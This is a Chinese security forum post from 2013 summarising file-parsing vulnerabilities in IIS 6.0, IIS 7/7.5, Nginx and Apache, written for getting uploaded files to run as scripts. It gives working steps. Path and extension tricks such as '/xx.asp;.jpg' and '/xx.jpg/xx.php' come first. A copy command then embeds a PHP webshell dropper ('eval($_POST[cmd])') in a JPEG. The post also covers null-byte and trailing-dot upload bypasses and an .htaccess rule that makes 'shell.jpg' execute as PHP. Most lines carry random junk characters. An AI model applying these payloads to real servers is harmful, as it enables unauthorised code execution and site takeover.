找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2877|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain9 o$ N+ q& k! J5 W0 m7 V0 P  ?
[+]IIS6.0$ X. ?) T% O/ |. T, k8 d7 b1 l

3 \/ k& R. \9 t) j# E目录解析:/xx.asp/xx.jpg
- f/ X0 o9 f( F xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
. x6 }! k3 k! u- `% o( D5 G) i5 } IIS6.0 会将 xx.jpg 解析为 asp 文件。
/ b0 U" S' O  b% J+ t0 v后缀解析:/xx.asp;.jpg     / C; a, c% n& P! n& D3 Z
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。; {" c8 d3 t2 h7 U' t  j/ \
默认解析:/xx.asa
  z1 {6 {) X" D  G9 F, a         /xx.cer" a) s2 C* p: G5 D
         /xx.cdx
5 s$ ~- i. \3 E0 u IIS6.0 默认的可执行文件除了 asp 还包含这三种( o6 N0 Y0 B& V( v" X7 s" ?* X& S
此处可联系利用目录解析漏洞
5 x  M$ J& n8 {7 G( F2 H5 D/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg! H" G2 e4 H7 F, G# X  Z. j, {
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03$ v& g. l/ W9 ], Q: z' U0 a
/ _" D# w, m% t( `6 D
IIS 7.0/IIS 7.5/Nginx <0.8.031 p9 u) H3 }$ U
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面3 V9 Z$ F. `1 Z  i; U% k; h8 E
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。/ P8 q. {4 D- }: P7 K2 S/ u& F
常用利用方法:1 [+ P, i0 b9 F6 B! ?
将一张图和一个写入后门代码的文本文件合并将恶意文本
# W( N3 Z" X; g7 R 写入图片的二进制代码之后,避免破坏图片文件头和尾
* m2 u6 B8 u0 n* v1 ] 如:: U: |( F$ L& O6 U: n
copy xx.jpg /b + yy.txt/a xy.jpg& S; i9 V( `# ~, h* [
#########################################################
" ]5 C+ {) r5 [2 K! F1 P: f /b 即二进制[binary]模式
* u8 @( {! w6 y6 u3 j /a 即ascii模式
: p& w8 j7 `) F* c xx.jpg 正常图片文件; y+ u" G  {, \& w* @1 @
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
  K$ W! ?& a( r2 H: P& k2 { '<?php eval($_POST[cmd])?>');?>' Q; V) x0 W- x
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
& O7 X/ V4 m: J2 }' D2 k 为shell.php的文件0 Z& b4 Q8 T; t3 s
###########################################################, X2 l3 Z1 s1 t' W
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php , U# L" l$ Y: z7 B. V
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php " c& c+ u& ]( S; ]
密码 cmd, w  z. Y$ P6 d$ {( f& ^
[+]Nginx <0.8.03
4 I, e# V& S& e$ Y8 Y$ b 3 R9 R- E/ x2 g8 K
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞8 S) X/ }3 g. ^- q. K
在一个文件路径(/xx.jpg)后面加上%00.php
4 V  }5 O; V. c% a$ I 会将 /xx.jpg%00.php 解析为 php 文件。: N; \& {! I0 `7 A9 Q7 Z6 n* O
[+]Apache<0.8.03
8 v. ~3 V$ V8 T. R$ n" O$ T / B. r1 D7 q; s6 ~; z2 s: h' H
后缀解析:test.php.x1.x2.x3; _; y' A5 S; h) u' t) r- r% x4 A; w
Apache将从右至左开始判断后缀,若x3非可识别后缀,1 b" A8 i1 l$ y
再判断x2,直到找到可识别后缀为止,然后将该可识别
  T7 M% @& w+ r; z  u 后缀进解析test.php.x1.x2.x3 则会被解析为php8 P* \% v* w5 I" o$ N# i
经验之谈:php|php3|phtml 多可被Apache解析。
" h" |5 ]& L) y  B[+]其他一些可利用的2 n8 m1 @1 o1 m( s
6 k+ R# R+ p$ _, r; {
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的4 m, K% P' x) d. V; I1 `
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
/ ~$ d+ E; {1 r1 @( C0 A9 i在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格3 r% }, ~1 k6 Y% H
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可/ K$ [8 G; j: \9 y6 @/ A  M2 _* S
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
2 _; g$ m9 [; l; s) G& m0 s3 r{Linux主机中不行,Linux允许这类文件存在}
8 X1 r0 c, r3 K; d% X如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
1 L8 i) h# i+ M$ T& {1 }. _$ ^的,当初我并不知道),且可以被上传,那可以尝试在
4 j( ?* Q5 C* W! k.htaccess中写入:
$ r8 O& M) N8 Z! ~+ k, `: v<FilesMatch “shell.jpg”>
' o# X! c4 @4 l; S. Z/ DSetHandler application/x-httpd-php ' k9 \' O, H$ l) G! E, \
</FilesMatch>
/ w0 W; B0 |9 G2 `5 @shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件" a% Q/ J3 M8 N6 m4 Y9 e* W" N& A
[+]错误修改
. T8 n6 r( W3 d8 ~' b9 P
$ u1 X: x' `) ?6 c' V3 S在 IIS 6.0 下可解析 /xx.asp:.jpg" w( p5 }9 N, S" j8 t$ Z0 l
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去# p9 k7 d! ]0 L$ D! |: j# |
剩下/xx.asp}修改:
/ k' @( [4 I) ?1 _先谢谢核攻击的提醒4 {8 N, B6 U+ s* f
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
$ y$ d2 K# H8 H& g6 A8 m* d里是没有任何内容的,因为。。不好解释 大家自己看( {) I7 m- d/ X& x& Z$ F
http://lcx.cc/?i=2448. @1 S& J2 H% A! \& P
http://baike.baidu.com/view/3619593.htm# `. }3 g9 Z' g7 U% U  V

8 y, v0 q& v; `, D# k0 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表